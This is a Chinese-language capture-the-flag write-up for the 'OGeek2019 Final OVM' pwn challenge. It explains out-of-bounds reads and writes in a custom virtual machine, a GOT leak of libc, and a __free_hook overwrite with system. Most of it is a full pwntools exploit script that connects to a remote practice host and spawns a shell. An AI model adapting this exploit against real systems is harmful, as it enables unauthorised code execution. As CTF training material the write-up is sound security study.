[OGeek2019 Final]OVM
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,是一个虚拟机
其中,这里这条mov reg的指令比较重要
还有这里mov memory的指令也比较重要
这里两处,都存在下标越界,通过查看汇编指令可知,memory和reg都是有符号的数据数组。
因此,利用reg[out] = memory[-X],可以向上越界,将数据存储在reg[out]里。向上越界,可以读取got表,进而可以获得glibc函数地址。同理,memory[-X] = reg[op],可以实现任意地址写。我们可以利用虚拟机指令,将comment篡改为free_hook的地址,然后,虚拟机指令执行完以后
这里会有一个对comment进行编辑的操作
编辑结束后会调用free
因此,我们将comment修改为free_hook,然后编辑的时候编辑为system或one_gadget的地址。
#coding:utf8
from pwn import *
#sh = process('./ovm')
sh = remote('node3.buuoj.cn',25335)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
exit_sym = libc.sym['exit']
free_hook_sym = libc.symbols['__free_hook']
opcode = []
def mov_reg(reg,data):
#===================通过运算,使得reg[0]为指定值=============
#reg[i] = (data & 0xFF000000) >> 24
opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF000000) >> 24))[::-1]))
#reg[11] = 24
opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(24))[::-1]))
#reg[12] = reg[i] << 24
opcode.append(u32( (p8(0xC0) + p8(12) + p8(reg) + p8(11))[::-1]))
#reg[i] = (data & 0xFF000000) >> 16
opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF0000) >> 16))[::-1]))
#reg[11] = 16
opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(16))[::-1]))
#reg[13] = reg[i] << 16
opcode.append(u32( (p8(0xC0) + p8(13) + p8(reg) + p8(11))[::-1]))
#reg[12] = reg[12] | reg[13]
opcode.append(u32( (p8(0xA0) + p8(12) + p8(12) + p8(13))[::-1]))
#reg[i] = (data & 0xFF00) >> 8
opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF00) >> 8))[::-1]))
#reg[11] = 8
opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(8))[::-1]))
#reg[13] = reg[i] << 8
opcode.append(u32( (p8(0xC0) + p8(13) + p8(reg) + p8(11))[::-1]))
#reg[12] = reg[12] | reg[13]
opcode.append(u32( (p8(0xA0) + p8(12) + p8(12) + p8(13))[::-1]))
#reg[i] = data & 0xFF
opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8(data & 0xFF))[::-1]))
#reg[i] |= reg[12]
opcode.append(u32( (p8(0xA0) + p8(reg) + p8(reg) + p8(12))[::-1]))
#=======================================================================
def mov_mem_reg(reg1,reg2):
#memory[reg1] = reg2
opcode.append(u32( (p8(0x40) + p8(reg2) + p8(0) + p8(reg1))[::-1]))
def mov_reg_mem(reg1,reg2):
opcode.append(u32( (p8(0x30) + p8(reg1) + p8(0) + p8(reg2))[::-1]))
def add_reg(reg1,reg2):
opcode.append(u32( (p8(0x70) + p8(reg1) + p8(reg1) + p8(reg2))[::-1]))
def print_reg():
opcode.append(u32( (p8(0) + p8(0) + p8(0) + p8(0xFF))[::-1]))
######将comment指向free_hook##############
#reg[0] = -0x20
mov_reg(0,0xFFFFFFE0)
#reg[1] = -8
mov_reg(1,0xFFFFFFF8)
#reg[2] = free_hook_sym - exit_sym - 0x8
mov_reg(2,free_hook_sym - exit_sym - 0x8)
#将exit的got内容取4字节存入reg[0]
mov_reg_mem(0,0)
#加上偏移,即变成了free_hook-0x8的地址低4字节
add_reg(0,2)
#在memory[-0x8]处写上reg[0]的内容
mov_mem_reg(1,0)
#reg[0] = -0x1F
mov_reg(0,0xFFFFFFE1)
#reg[1] = -7
mov_reg(1,0xFFFFFFF9)
#将exit的got+4内容取4字节存入reg[0]
mov_reg_mem(0,0)
#在memory[-0x7]处写上reg[0]的内容
mov_mem_reg(1,0)
##########泄露exit的got表
#reg[1] = -0x20
mov_reg(1,0xFFFFFFE0)
#将exit的got内容取4字节存入reg[1]
mov_reg_mem(1,1)
print_reg()
sh.sendlineafter('PC:','100')
sh.sendlineafter('SP','0')
sh.sendlineafter('CODE SIZE:',str(len(opcode)))
sh.recvuntil('CODE')
for o in opcode:
sh.sendline(str(o))
sh.recvuntil('R0: ')
high = int(sh.recvuntil('\n',drop = True),16)
sh.recvuntil('R1: ')
low = int(sh.recvuntil('\n',drop = True),16)
exit_addr = (high << 32) + low
libc_base = exit_addr - exit_sym
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改free_hook,然后后面会触发,getshell
sh.sendafter('HOW DO YOU FEEL AT OVM?','/bin/sh\x00' + p64(system_addr))
sh.interactive()